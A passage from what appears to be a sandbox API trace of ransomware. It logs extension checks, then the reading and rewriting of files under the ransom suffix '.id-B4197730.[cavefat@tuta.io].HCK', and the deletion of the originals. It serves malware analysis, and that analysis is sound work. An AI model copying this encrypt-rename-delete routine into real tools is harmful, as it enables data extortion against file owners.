(lpString1=".zip", lpString2=".xml") returned 1 [0149.544] lstrlenW (lpString=".rar") returned 4 [0149.544] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".bz2") returned 4 [0149.544] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".7z") returned 3 [0149.544] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".dbf") returned 4 [0149.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".1cd") returned 4 [0149.544] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".jpg") returned 4 [0149.544] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".doc") returned 4 [0149.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".docx") returned 5 [0149.544] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.544] lstrlenW (lpString=".pdf") returned 4 [0149.544] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".xls") returned 4 [0149.544] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".xlsx") returned 5 [0149.544] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.544] lstrlenW (lpString=".ppt") returned 4 [0149.544] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".zip") returned 4 [0149.544] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.544] lstrlenW (lpString=".rar") returned 4 [0149.544] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".bz2") returned 4 [0149.544] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString=".7z") returned 3 [0149.544] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".dbf") returned 4 [0149.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".1cd") returned 4 [0149.544] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.545] lstrlenW (lpString=".jpg") returned 4 [0149.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.545] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.545] lstrlenW (lpString="UiInfo.xml") returned 10 [0149.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.545] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=39050) returned 1 [0149.545] CloseHandle (hObject=0x330) returned 1 [0149.545] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0149.546] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.546] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.546] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.548] GetLastError () returned 0x0 [0149.548] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x988a, lpOverlapped=0x0) returned 1 [0149.550] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9890, lpOverlapped=0x0) returned 1 [0149.551] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.551] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.551] SetEndOfFile (hFile=0x300) returned 1 [0149.551] CloseHandle (hObject=0x300) returned 1 [0149.552] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.552] SetEndOfFile (hFile=0x330) returned 1 [0149.553] CloseHandle (hObject=0x330) returned 1 [0149.553] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.554] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".doc") returned 4 [0149.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".docx") returned 5 [0149.554] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.554] lstrlenW (lpString=".pdf") returned 4 [0149.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".xls") returned 4 [0149.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".xlsx") returned 5 [0149.554] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.554] lstrlenW (lpString=".ppt") returned 4 [0149.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".zip") returned 4 [0149.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.554] lstrlenW (lpString=".rar") returned 4 [0149.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".bz2") returned 4 [0149.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".7z") returned 3 [0149.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".dbf") returned 4 [0149.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".1cd") returned 4 [0149.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".jpg") returned 4 [0149.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.554] lstrlenW (lpString=".doc") returned 4 [0149.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.554] lstrlenW (lpString=".docx") returned 5 [0149.554] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.554] lstrlenW (lpString=".pdf") returned 4 [0149.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString=".xls") returned 4 [0149.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString=".xlsx") returned 5 [0149.555] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.555] lstrlenW (lpString=".ppt") returned 4 [0149.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.555] lstrlenW (lpString=".zip") returned 4 [0149.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.555] lstrlenW (lpString=".rar") returned 4 [0149.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString=".bz2") returned 4 [0149.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString=".7z") returned 3 [0149.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.555] lstrlenW (lpString=".dbf") returned 4 [0149.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.555] lstrlenW (lpString=".1cd") returned 4 [0149.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0149.555] lstrlenW (lpString=".jpg") returned 4 [0149.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.555] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0149.555] lstrlenW (lpString="header.bmp") returned 10 [0149.555] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.556] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3628) returned 1 [0149.556] CloseHandle (hObject=0x330) returned 1 [0149.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0149.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.556] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.556] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.556] GetLastError () returned 0x0 [0149.556] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe2c, lpOverlapped=0x0) returned 1 [0149.558] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe30, lpOverlapped=0x0) returned 1 [0149.558] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.558] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.559] SetEndOfFile (hFile=0x300) returned 1 [0149.559] CloseHandle (hObject=0x300) returned 1 [0149.561] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.561] SetEndOfFile (hFile=0x330) returned 1 [0149.561] CloseHandle (hObject=0x330) returned 1 [0149.806] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.807] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0149.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.826] lstrlenW (lpString=".doc") returned 4 [0149.826] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0149.826] lstrlenW (lpString=".docx") returned 5 [0149.826] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0149.826] lstrlenW (lpString=".pdf") returned 4 [0149.826] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0149.826] lstrlenW (lpString=".xls") returned 4 [0149.826] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0149.826] lstrlenW (lpString=".xlsx") returned 5 [0149.826] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0149.834] lstrlenW (lpString=".ppt") returned 4 [0149.834] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".zip") returned 4 [0149.834] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".rar") returned 4 [0149.834] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".bz2") returned 4 [0149.834] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".7z") returned 3 [0149.834] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".dbf") returned 4 [0149.834] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".1cd") returned 4 [0149.834] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".jpg") returned 4 [0149.834] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".doc") returned 4 [0149.834] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".docx") returned 5 [0149.834] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0149.834] lstrlenW (lpString=".pdf") returned 4 [0149.834] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".xls") returned 4 [0149.834] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".xlsx") returned 5 [0149.834] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0149.834] lstrlenW (lpString=".ppt") returned 4 [0149.834] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.834] lstrlenW (lpString=".zip") returned 4 [0149.834] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0149.834] lstrlenW (lpString=".rar") returned 4 [0149.835] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0149.835] lstrlenW (lpString=".bz2") returned 4 [0149.835] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0149.835] lstrlenW (lpString=".7z") returned 3 [0149.835] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0149.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.835] lstrlenW (lpString=".dbf") returned 4 [0149.835] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0149.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.835] lstrlenW (lpString=".1cd") returned 4 [0149.835] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0149.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0149.835] lstrlenW (lpString=".jpg") returned 4 [0149.835] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0149.835] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.835] lstrlenW (lpString="Strings.xml") returned 11 [0149.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.835] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14084) returned 1 [0149.835] CloseHandle (hObject=0x37c) returned 1 [0149.835] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0149.835] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.835] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.835] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.836] GetLastError () returned 0x0 [0149.836] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3704, lpOverlapped=0x0) returned 1 [0149.838] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3710, lpOverlapped=0x0) returned 1 [0149.839] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.839] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.839] SetEndOfFile (hFile=0x368) returned 1 [0149.839] CloseHandle (hObject=0x368) returned 1 [0149.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.840] SetEndOfFile (hFile=0x37c) returned 1 [0149.841] CloseHandle (hObject=0x37c) returned 1 [0149.841] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.841] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0149.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.841] lstrlenW (lpString=".doc") returned 4 [0149.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.841] lstrlenW (lpString=".docx") returned 5 [0149.841] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0149.842] lstrlenW (lpString=".pdf") returned 4 [0149.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".xls") returned 4 [0149.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".xlsx") returned 5 [0149.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0149.842] lstrlenW (lpString=".ppt") returned 4 [0149.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".zip") returned 4 [0149.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.842] lstrlenW (lpString=".rar") returned 4 [0149.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".bz2") returned 4 [0149.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".7z") returned 3 [0149.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".dbf") returned 4 [0149.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".1cd") returned 4 [0149.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".jpg") returned 4 [0149.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".doc") returned 4 [0149.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".docx") returned 5 [0149.842] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0149.842] lstrlenW (lpString=".pdf") returned 4 [0149.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".xls") returned 4 [0149.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".xlsx") returned 5 [0149.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0149.842] lstrlenW (lpString=".ppt") returned 4 [0149.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".zip") returned 4 [0149.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.842] lstrlenW (lpString=".rar") returned 4 [0149.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".bz2") returned 4 [0149.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString=".7z") returned 3 [0149.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".dbf") returned 4 [0149.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.842] lstrlenW (lpString=".1cd") returned 4 [0149.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0149.843] lstrlenW (lpString=".jpg") returned 4 [0149.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.843] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.843] lstrlenW 